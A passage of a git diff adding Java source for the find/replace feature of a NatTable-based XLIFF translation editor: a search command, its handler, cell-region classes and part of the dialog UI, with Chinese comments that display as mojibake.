FindReplaceCommand(ILayer layer, ISearchStrategy searchStrategy, ICellSearchStrategy cellSearchStrategy) { + this(null, layer, searchStrategy, cellSearchStrategy); + } + + public FindReplaceCommand(String searchText, ILayer layer, ISearchStrategy searchStrategy, + ICellSearchStrategy cellSearchStrategy) { + this.context = layer; + this.searchStrategy = searchStrategy; + this.searchText = searchText; + this.cellSearchStrategy = cellSearchStrategy; + } + + protected FindReplaceCommand(FindReplaceCommand command) { + this.context = command.context; + this.searchStrategy = command.searchStrategy; + this.searchText = command.searchText; + this.cellSearchStrategy = command.cellSearchStrategy; + this.searchEventListener = command.searchEventListener; + } + + public ILayer getContext() { + return context; + } + + public ISearchStrategy getSearchStrategy() { + return searchStrategy; + } + + public String getSearchText() { + return searchText; + } + + public ILayerListener getSearchEventListener() { + return searchEventListener; + } + + public void setSearchEventListener(ILayerListener listener) { + this.searchEventListener = listener; + } + + public ICellSearchStrategy getCellSearchStrategy() { + return cellSearchStrategy; + } + + public boolean convertToTargetLayer(ILayer targetLayer) { + context = targetLayer; + return true; + } + + public FindReplaceCommand cloneCommand() { + return new FindReplaceCommand(this); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/command/FindReplaceCommandHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/command/FindReplaceCommandHandler.java new file mode 100644 index 0000000..4f41613 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/command/FindReplaceCommandHandler.java @@ -0,0 +1,106 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.search.command; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.LayerUtil; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.event.FindReplaceEvent; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.DefaultCellSearchStrategy; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ICellSearchStrategy; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ISearchStrategy; +import net.sourceforge.nattable.command.ILayerCommandHandler; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.command.SelectCellCommand; +import net.sourceforge.nattable.viewport.ViewportLayer; + +import org.eclipse.jface.text.IRegion; + +public class FindReplaceCommandHandler implements ILayerCommandHandler { + + private final SelectionLayer selectionLayer; + private CellRegion searchResultCellRegion; + + public FindReplaceCommandHandler(SelectionLayer selectionLayer) { + this.selectionLayer = selectionLayer; + } + + public Class getCommandClass() { + return FindReplaceCommand.class; + }; + + public boolean doCommand(ILayer targetLayer, FindReplaceCommand findReplaceCommand) { + findReplaceCommand.convertToTargetLayer(targetLayer); + + ISearchStrategy searchStrategy = findReplaceCommand.getSearchStrategy(); + if (findReplaceCommand.getSearchEventListener() != null) { + selectionLayer.addLayerListener(findReplaceCommand.getSearchEventListener()); + } + PositionCoordinate anchor = selectionLayer.getSelectionAnchor(); + if (anchor.columnPosition < 0 || anchor.rowPosition < 0) { + anchor = new PositionCoordinate(selectionLayer, 0, 0); + } + searchStrategy.setContextLayer(targetLayer); + Object dataValueToFind = null; + if ((dataValueToFind = findReplaceCommand.getSearchText()) == null) { + dataValueToFind = selectionLayer.getDataValueByPosition(anchor.columnPosition, anchor.rowPosition); + } + + ICellSearchStrategy cellSearchStrategy = findReplaceCommand.getCellSearchStrategy(); + searchStrategy.setCellSearchStrategy(cellSearchStrategy); + + DefaultCellSearchStrategy defaultCellSearchStrategy = null; + if (cellSearchStrategy instanceof DefaultCellSearchStrategy) { + defaultCellSearchStrategy = (DefaultCellSearchStrategy) cellSearchStrategy; + } + searchResultCellRegion = searchStrategy.executeSearch(dataValueToFind); + + if (searchResultCellRegion != null) { + PositionCoordinate searchResultCellCoordinate = searchResultCellRegion.getPositionCoordinate(); + int rowPosition = searchResultCellCoordinate.rowPosition; + XLIFFEditorImplWithNatTable editor = XLIFFEditorImplWithNatTable.getCurrent(); + + ViewportLayer viewportLayer = LayerUtil.getLayer(editor.getTable(), ViewportLayer.class); + + HsMultiActiveCellEditor.commit(true); + + if (!editor.isHorizontalLayout()) { + viewportLayer.doCommand(new SelectCellCommand(selectionLayer, + searchResultCellCoordinate.columnPosition, rowPosition / 2 * 2, false, false)); + } else { + viewportLayer.doCommand(new SelectCellCommand(selectionLayer, + searchResultCellCoordinate.columnPosition, rowPosition, false, false)); + } + + HsMultiCellEditorControl.activeSourceAndTargetCell(editor); + HsMultiActiveCellEditor.setCellEditorForceFocusByIndex(searchResultCellCoordinate.columnPosition, + rowPosition); + StyledTextCellEditor cellEditor = HsMultiActiveCellEditor.getFocusCellEditor(); + if (cellEditor != null) { + String dataValue = cellEditor.getSegmentViewer().getDocument().get(); + if (dataValue != null) { + int startOffset = -1; + if (defaultCellSearchStrategy != null) { + startOffset = defaultCellSearchStrategy.getStartOffset(); + } + defaultCellSearchStrategy.setStartOffset(startOffset); + IRegion region = defaultCellSearchStrategy.executeSearch(dataValueToFind.toString(), dataValue); + if (region != null) { + HsMultiActiveCellEditor.setSelectionText(cellEditor, region.getOffset(), region.getLength()); + } + defaultCellSearchStrategy.setStartOffset(-1); + } + } + } + + selectionLayer.fireLayerEvent(new FindReplaceEvent(searchResultCellRegion)); + if (findReplaceCommand.getSearchEventListener() != null) { + selectionLayer.removeLayerListener(findReplaceCommand.getSearchEventListener()); + } + + return true; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/coordinate/ActiveCellRegion.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/coordinate/ActiveCellRegion.java new file mode 100644 index 0000000..646eb70 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/coordinate/ActiveCellRegion.java @@ -0,0 +1,14 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate; + +public class ActiveCellRegion { + + private static CellRegion activeCellRegion; + + public static synchronized CellRegion getActiveCellRegion() { + return activeCellRegion; + } + + public static synchronized void setActiveCellRegion(CellRegion region) { + activeCellRegion = region; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/coordinate/CellRegion.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/coordinate/CellRegion.java new file mode 100644 index 0000000..b2127c4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/coordinate/CellRegion.java @@ -0,0 +1,52 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate; + +import net.sourceforge.nattable.coordinate.PositionCoordinate; + +import org.eclipse.jface.text.IRegion; + +public class CellRegion { + + public CellRegion(PositionCoordinate positionCoordinate, IRegion region) { + this.positionCoordinate = positionCoordinate; + this.region = region; + } + + private PositionCoordinate positionCoordinate; + + private IRegion region; + + public void setPositionCoordinate(PositionCoordinate positionCoordinate) { + this.positionCoordinate = positionCoordinate; + } + + public PositionCoordinate getPositionCoordinate() { + return positionCoordinate; + } + + public void setRegion(IRegion region) { + this.region = region; + } + + public IRegion getRegion() { + return region; + } + + @Override + public boolean equals(Object obj) { + if (!(obj instanceof PositionCoordinate)) { + return false; + } + CellRegion coordinate = (CellRegion) obj; + try { + return this.positionCoordinate.equals(coordinate.positionCoordinate) + && this.region.equals(coordinate.region); + } catch (Exception e) { + return false; + } + } + + @Override + public String toString() { + return positionCoordinate.toString() + " | " + region.toString(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/dialog/FindReplaceDialog.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/dialog/FindReplaceDialog.java new file mode 100644 index 0000000..ec6a8d5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/dialog/FindReplaceDialog.java @@ -0,0 +1,1070 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +import net.heartsome.cat.common.ui.listener.PartAdapter; +import net.heartsome.cat.ts.core.bean.TransUnitBean; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.Activator; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.config.VerticalNatTableConfig; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.LayerUtil; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.command.FindReplaceCommand; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.ActiveCellRegion; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.event.FindReplaceEvent; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ColumnSearchStrategy; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ICellSearchStrategy; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.layer.DataLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.ILayerListener; +import net.sourceforge.nattable.layer.event.ILayerEvent; +import net.sourceforge.nattable.selection.SelectionLayer; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IPartListener; +import org.eclipse.ui.IWorkbenchPart; +import org.eclipse.ui.PlatformUI; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 查找对è¯æ¡† + * @author weachy + * @version + * @since JDK1.5 + */ +public class FindReplaceDialog extends Dialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(FindReplaceDialog.class); + + public static boolean isOpen = false; + + private Combo cmbFind; + + /** */ + private Combo cmbReplace; + + /** 查找 */ + private Button findButton; + + /** 查找下一个 */ + private Button findNextButton; + + /** æ›¿æ¢ */ + private Button replaceButton; + + /** 替æ¢å…¨éƒ¨ */ + private Button replaceAllButton; + + /** 大å°å†™æ•æ„ŸæŒ‰é’® */ + private Button caseSensitiveButton; + + /** 状æ€ä¿¡æ¯ */ + private Label statusLabel; + + /** 循环查找 */ + /** burke 修改find/replaceç•Œé¢æ¡† 注释 */ + // private Button wrapSearchButton; + + /** æ­£å‘查找按钮 */ + private Button forwardButton; + + /** åå‘å‘查找按钮 */ + private Button backwardButton; + + /** 查找æºè¯­è¨€æŒ‰é’® */ + private Button sourceButton; + + /** 查找目标语言按钮 */ + private Button targetButton; + + /** æœç´¢ç­–ç•¥ */ + private ColumnSearchStrategy searchStrategy; + + /** 比较器 */ + private ICellSearchStrategy cellSearchStrategy; + + /** 匹é…æ•´è¯ */ + private Button wholeWordButton; + + /** 模糊æœç´¢ */ + /** burke 修改find/replaceç•Œé¢æ¡† 注释 */ + // private Button fuzzySearchButton; + + /** æ­£åˆ™è¡¨è¾¾å¼ */ + private Button regExButton; + + private String msg = Messages.getString("dialog.FindReplaceDialog.status1"); + + private final int HISTORY_SIZE = 5; + + private List lstFindHistory; + + private List lstReplaceHistory; + + IPartListener partListener = new PartAdapter() { + @Override + public void partActivated(IWorkbenchPart part) { + clearActiveCellRegion(part); + } + + public void partOpened(IWorkbenchPart part) { + clearActiveCellRegion(part); + }; + + private void clearActiveCellRegion(IWorkbenchPart part) { + if (part instanceof XLIFFEditorImplWithNatTable) { + CellRegion cellRegion = ActiveCellRegion.getActiveCellRegion(); + if (cellRegion == null) { + return; + } + ILayer layer = cellRegion.getPositionCoordinate().getLayer(); + NatTable table = ((XLIFFEditorImplWithNatTable) part).getTable(); + ILayer layer1 = LayerUtil.getLayer(table, layer.getClass()); + if (!layer.equals(layer1)) { + ActiveCellRegion.setActiveCellRegion(null); // 清空查找结果 + } + } + } + }; + + private FindReplaceDialog(Shell shell) { + super(shell); + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LOGGER.error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + setShellStyle(getShellStyle() ^ SWT.APPLICATION_MODAL | SWT.CLOSE | SWT.MODELESS | SWT.BORDER | SWT.TITLE); + setBlockOnOpen(false); + isOpen = true; + PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().addPartListener(partListener); + + lstFindHistory = new ArrayList(HISTORY_SIZE - 1); + lstReplaceHistory = new ArrayList(HISTORY_SIZE - 1); + } + + public static FindReplaceDialog createDialog(Shell shell) { + return new FindReplaceDialog(shell); + } + + public void setSearchStrategy(ColumnSearchStrategy searchStrategy, ICellSearchStrategy cellSearchStrategy) { + this.searchStrategy = searchStrategy; + this.cellSearchStrategy = cellSearchStrategy; + // ActiveCellRegion.setActiveCellRegion(null); + } + + @Override + public void create() { + super.create(); + isOpen = true; + getShell().setText(Messages.getString("dialog.FindReplaceDialog.Title")); + updateCombo(cmbFind, lstFindHistory); + updateCombo(cmbReplace, lstReplaceHistory); + // 打开了查找替æ¢æ¡†åŽï¼Œåˆ¤æ–­æŸ¥æ‰¾è¾“入框中是å¦å­˜åœ¨æŸ¥æ‰¾æ›¿æ¢å†…容,判断查找,查找下一个,替æ¢ï¼Œæ›¿æ¢æ‰€æœ‰æŒ‰é’®çš„å¯ç”¨æ€§ + setEnable(); + } + + @Override + protected boolean isResizable() { + return true; + } + + protected Point getInitialSize() { + // Point initialSize = super.getInitialSize(); + // Point minSize = getShell().computeSize(SWT.DEFAULT, SWT.DEFAULT); + + // if (initialSize.x < minSize.x) + // return minSize; + // return initialSize; + return new Point(350, 435); + } + + protected IDialogSettings getDialogBoundsSettings() { + String sectionName = getClass().getName() + "_dialogBounds"; //$NON-NLS-1$ + IDialogSettings settings = Activator.getDefault().getDialogSettings(); + IDialogSettings section = settings.getSection(sectionName); + if (section == null) + section = settings.addNewSection(sectionName); + return section; + } + + @Override + public boolean close() { + ActiveCellRegion.setActiveCellRegion(null); // 清空查找结果 + PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().removePartListener(partListener); + isOpen = false; + writeDialogSettings(); + return super.close(); + } + + @Override + protected void buttonPressed(int buttonID) { + if (buttonID == IDialogConstants.CLOSE_ID) { + close(); + } + } + + @Override + protected Control createDialogArea(Composite parent) { + return super.createDialogArea(parent); + } + + @Override + protected Control createContents(final Composite parent) { + + final Composite composite = new Composite(parent, SWT.NONE); + composite.setLayout(new GridLayout(1, true)); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(composite); + + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).grab(true, false).applyTo(createInputPanel(composite)); + + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(createConfigPanel(composite)); + + Composite buttonPanel = createButtonSection(composite); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.BOTTOM).grab(true, false).applyTo(buttonPanel); + + Composite statusBar = createStatusAndCloseButton(composite); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.BOTTOM).grab(true, false).applyTo(statusBar); + + readDialogSettings(); + + return composite; + } + + /** + * Creates the options configuration section of the find replace dialog. + * @param parent + * the parent composite + * @return the options configuration section + */ + private Composite createConfigPanel(Composite parent) { + Composite panel = new Composite(parent, SWT.NONE); + panel.setLayout(new GridLayout(1, true)); + + Composite rangePanel = createRangePanel(panel); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(rangePanel); + + Composite optionPanel = createOptionsPanel(panel); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(optionPanel); + + return panel; + } + + private Composite createButtonSection(Composite composite) { + Composite panel = new Composite(composite, SWT.NONE); + GridLayout layout = new GridLayout(); + layout.numColumns = -2; // this is intended + panel.setLayout(layout); + + findButton = createButton(panel, IDialogConstants.CLIENT_ID, + Messages.getString("dialog.FindReplaceDialog.findButton"), false); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.BOTTOM).grab(false, false).hint(95, SWT.DEFAULT) + .applyTo(findButton); + findButton.setEnabled(false); + + findButton.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + doFind(); + updateFindHistory(); + } + }); + + findNextButton = createButton(panel, IDialogConstants.CLIENT_ID, + Messages.getString("dialog.FindReplaceDialog.findNextButton"), false); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.BOTTOM).grab(false, false).hint(95, SWT.DEFAULT) + .applyTo(findNextButton); + findNextButton.setEnabled(false); + findNextButton.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + doFindNext(); + updateFindHistory(); + } + }); + + replaceButton = createButton(panel, IDialogConstants.CLIENT_ID, + Messages.getString("dialog.FindReplaceDialog.replaceButton"), false); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.BOTTOM).grab(false, false).hint(95, SWT.DEFAULT) + .applyTo(replaceButton); + replaceButton.setEnabled(false); + replaceButton.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + doReplace(); + updateFindAndReplaceHistory(); + } + }); + + replaceAllButton = createButton(panel, IDialogConstants.CLIENT_ID, + Messages.getString("dialog.FindReplaceDialog.replaceAllButton"), false); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.BOTTOM).grab(false, false).hint(95, SWT.DEFAULT) + .applyTo(replaceAllButton); + replaceAllButton.setEnabled(false); + replaceAllButton.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + doReplaceAll(); + updateFindAndReplaceHistory(); + } + }); + + getShell().setDefaultButton(findNextButton); // 设置默认按钮 + + return panel; + } + + /** + * Creates the status and close section of the dialog. + * @param parent + * the parent composite + * @return the status and close button + */ + private Composite createStatusAndCloseButton(Composite parent) { + statusLabel = new Label(parent, SWT.LEFT); + statusLabel.setForeground(statusLabel.getDisplay().getSystemColor(SWT.COLOR_RED)); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(statusLabel); + + Composite panel = new Composite(parent, SWT.NULL); + GridLayout layout = new GridLayout(0, false); + layout.marginWidth = 0; + layout.marginHeight = 0; + panel.setLayout(layout); + panel.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + Button closeButton = createButton(panel, IDialogConstants.CLOSE_ID, IDialogConstants.CLOSE_LABEL, false); + GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.BOTTOM).grab(true, false).hint(90, SWT.DEFAULT) + .applyTo(closeButton); + + return parent; + } + + private Composite createInputPanel(final Composite composite) { + final Composite row = new Composite(composite, SWT.NONE); + row.setLayout(new GridLayout(2, false)); + + final Label findLabel = new Label(row, SWT.NONE); + findLabel.setText(Messages.getString("dialog.FindReplaceDialog.findLabel")); + GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(findLabel); + + cmbFind = new Combo(row, SWT.DROP_DOWN | SWT.BORDER); + GridDataFactory.fillDefaults().grab(true, false).applyTo(cmbFind); + + cmbFind.addModifyListener(new ModifyListener() { + public void modifyText(ModifyEvent e) { + /* + * boolean enabled = findText.getText().length() > 0; findButton.setEnabled(enabled); + * findNextButton.setEnabled(enabled); replaceAllButton.setEnabled(!sourceButton.getSelection() && + * enabled); if (!enabled) { replaceButton.setEnabled(false); } + */ + setEnable(); + } + }); + cmbFind.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetDefaultSelected(SelectionEvent e) { + if (findButton.isEnabled()) { + doFindNext(); + } + } + }); + + Label replaceWithLabel = new Label(row, SWT.NONE); + replaceWithLabel.setText(Messages.getString("dialog.FindReplaceDialog.replaceWithLabel")); + GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(replaceWithLabel); + + cmbReplace = new Combo(row, SWT.DROP_DOWN | SWT.BORDER); + GridDataFactory.fillDefaults().grab(true, false).applyTo(cmbReplace); + + return row; + } + + /** + * 范围é¢æ¿ + * @param composite + * @return ; + */ + private Composite createRangePanel(Composite composite) { + final Composite row = new Composite(composite, SWT.NONE); + row.setLayout(new GridLayout(2, true)); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(row); + + final Group directionGroup = new Group(row, SWT.SHADOW_ETCHED_IN); + directionGroup.setText(Messages.getString("dialog.FindReplaceDialog.directionGroup")); + directionGroup.setLayout(new GridLayout(1, true)); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(directionGroup); + + forwardButton = new Button(directionGroup, SWT.RADIO); + forwardButton.setText(Messages.getString("dialog.FindReplaceDialog.forwardButton")); + forwardButton.setSelection(true); + GridDataFactory.fillDefaults().align(SWT.LEFT, SWT.CENTER).grab(false, false).applyTo(forwardButton); + + backwardButton = new Button(directionGroup, SWT.RADIO); + backwardButton.setText(Messages.getString("dialog.FindReplaceDialog.backwardButton")); + GridDataFactory.fillDefaults().align(SWT.LEFT, SWT.CENTER).grab(false, false).applyTo(backwardButton); + + final Group rangeGroup = new Group(row, SWT.SHADOW_ETCHED_IN); + rangeGroup.setText(Messages.getString("dialog.FindReplaceDialog.rangeGroup")); + rangeGroup.setLayout(new GridLayout(1, true)); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(rangeGroup); + + /** æœç´¢èŒƒå›´ï¼šæºè¯­è¨€ */ + sourceButton = new Button(rangeGroup, SWT.RADIO); + sourceButton.setText(Messages.getString("dialog.FindReplaceDialog.sourceButton")); + sourceButton.setSelection(true); + sourceButton.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + XLIFFEditorImplWithNatTable editor = XLIFFEditorImplWithNatTable.getCurrent(); + if (editor != null) { + replaceButton.setEnabled(false); + replaceAllButton.setEnabled(false); + } + } + }); + GridDataFactory.fillDefaults().align(SWT.LEFT, SWT.CENTER).grab(false, false).applyTo(sourceButton); + + targetButton = new Button(rangeGroup, SWT.RADIO); + targetButton.setText(Messages.getString("dialog.FindReplaceDialog.targetButton")); + targetButton.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + XLIFFEditorImplWithNatTable editor = XLIFFEditorImplWithNatTable.getCurrent(); + if (editor != null) { + boolean enabled = cmbFind.getText().length() > 0; + replaceAllButton.setEnabled(enabled); + } + } + }); + GridDataFactory.fillDefaults().align(SWT.LEFT, SWT.CENTER).grab(false, false).applyTo(targetButton); + + return row; + } + + private Composite createOptionsPanel(final Composite composite) { + final Group optionsGroup = new Group(composite, SWT.SHADOW_ETCHED_IN); + optionsGroup.setText(Messages.getString("dialog.FindReplaceDialog.optionsGroup")); + final GridLayout gridLayout = new GridLayout(2, true); + optionsGroup.setLayout(gridLayout); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(optionsGroup); + // optionsGroup.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true)); + + caseSensitiveButton = new Button(optionsGroup, SWT.CHECK); + caseSensitiveButton.setText(Messages.getString("dialog.FindReplaceDialog.caseSensitiveButton")); + GridDataFactory.fillDefaults().align(SWT.LEFT, SWT.CENTER).grab(false, false).applyTo(caseSensitiveButton); + /** burke 修改find/replaceç•Œé¢æ¡† 注释 */ + /* + * wrapSearchButton = new Button(optionsGroup, SWT.CHECK); wrapSearchButton.setText("&Wrap Search"); + * wrapSearchButton.setSelection(true); GridDataFactory.fillDefaults().align(SWT.LEFT, SWT.CENTER).grab(false, + * false).applyTo(wrapSearchButton); + */ + + wholeWordButton = new Button(optionsGroup, SWT.CHECK); + wholeWordButton.setText(Messages.getString("dialog.FindReplaceDialog.wholeWordButton")); + GridDataFactory.fillDefaults().align(SWT.LEFT, SWT.CENTER).grab(false, false).applyTo(wholeWordButton); + /** burke 修改find/replaceç•Œé¢æ¡† 注释 */ + /* + * fuzzySearchButton = new Button(optionsGroup, SWT.CHECK); fuzzySearchButton.setText("Fu&zzy Search"); + * GridDataFactory.fillDefaults().align(SWT.LEFT, SWT.CENTER).grab(false, false).applyTo(fuzzySearchButton); + */ + + regExButton = new Button(optionsGroup, SWT.CHECK); + regExButton.setText(Messages.getString("dialog.FindReplaceDialog.regExButton")); + regExButton.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + if (regExButton.getSelection()) { + wholeWordButton.setEnabled(false); + /** burke 修改find/replaceç•Œé¢æ¡† 注释 */ + // fuzzySearchButton.setEnabled(false); + } else { + wholeWordButton.setEnabled(true); + /** burke 修改find/replaceç•Œé¢æ¡† 注释 */ + // fuzzySearchButton.setEnabled(true); + } + } + }); + GridDataFactory.fillDefaults().align(SWT.LEFT, SWT.CENTER).grab(false, false).span(2, 1).applyTo(regExButton); + + return optionsGroup; + } + + private CellRegion searchResultCellRegion = null; + + private CellRegion find(final int startingRowPosition, final int startOffset) { + // 查找å‰é€‰æ交编辑模å¼çš„å•å…ƒæ ¼ + BusyIndicator.showWhile(super.getShell().getDisplay(), new Runnable() { + + public void run() { + XLIFFEditorImplWithNatTable editor = XLIFFEditorImplWithNatTable.getCurrent(); + if (editor == null) { + return; + } + + NatTable natTable = editor.getTable(); + + searchResultCellRegion = null; + statusLabel.setText(""); + + boolean searchForward = forwardButton.getSelection(); + boolean searchSource = sourceButton.getSelection(); + boolean caseSensitive = caseSensitiveButton.getSelection(); + /** burke 修改find/replaceç•Œé¢æ¡† 注释 使得find/replace默认为循环查找 */ + // boolean wrapSearch = wrapSearchButton.getSelection(); + boolean wrapSearch = true; + boolean wholeWord = wholeWordButton.getEnabled() && wholeWordButton.getSelection(); + boolean regExSearch = regExButton.getEnabled() && regExButton.getSelection(); + /** burke 修改find/replaceç•Œé¢æ¡† 注释 */ + // boolean fuzzySearch = fuzzySearchButton.getSelection(); + + if (searchSource) { + int columnPosition = LayerUtil.getColumnPositionByIndex(natTable, editor.getSrcColumnIndex()); + searchStrategy.setColumnPositions(new int[] { columnPosition }); + } else { + int columnPosition = LayerUtil.getColumnPositionByIndex(natTable, editor.getTgtColumnIndex()); + searchStrategy.setColumnPositions(new int[] { columnPosition }); + } + searchStrategy.setStartingRowPosition(startingRowPosition); + + cellSearchStrategy.init(searchForward, caseSensitive, wholeWord, regExSearch, startOffset); + + final FindReplaceCommand command = new FindReplaceCommand(cmbFind.getText(), natTable, searchStrategy, + cellSearchStrategy); + + final ILayerListener searchEventListener = initSearchEventListener(); + command.setSearchEventListener(searchEventListener); + + try { + // Fire command + natTable.doCommand(command); + // 如果未找到 + if (searchResultCellRegion == null) { + if (wrapSearch) { + if (forwardButton.getSelection()) { + int rowPositionFlag = 0; + // 解决垂直布局执行查找下一个或者替æ¢æ‰€æœ‰æ—¶ï¼Œå¦‚果没有匹é…,界é¢ä¼šå¡ä½ä¸€ä¼šå„¿å¹¶ä¸”åŽå°ä¼šæŠ¥å¼‚常的问题 + if (!editor.isHorizontalLayout()) { + rowPositionFlag = 1; + } + if (startingRowPosition > rowPositionFlag) { + int rowPosition = 0; // 默认从第一行(索引为 0)开始 + if (!editor.isHorizontalLayout()) { // 如果是垂直布局并且是 + if (!sourceButton.getSelection()) { + rowPosition = 1; + } + } + find(rowPosition, 0); + } else { + refreshMsgAndTable(); + } + } else { + 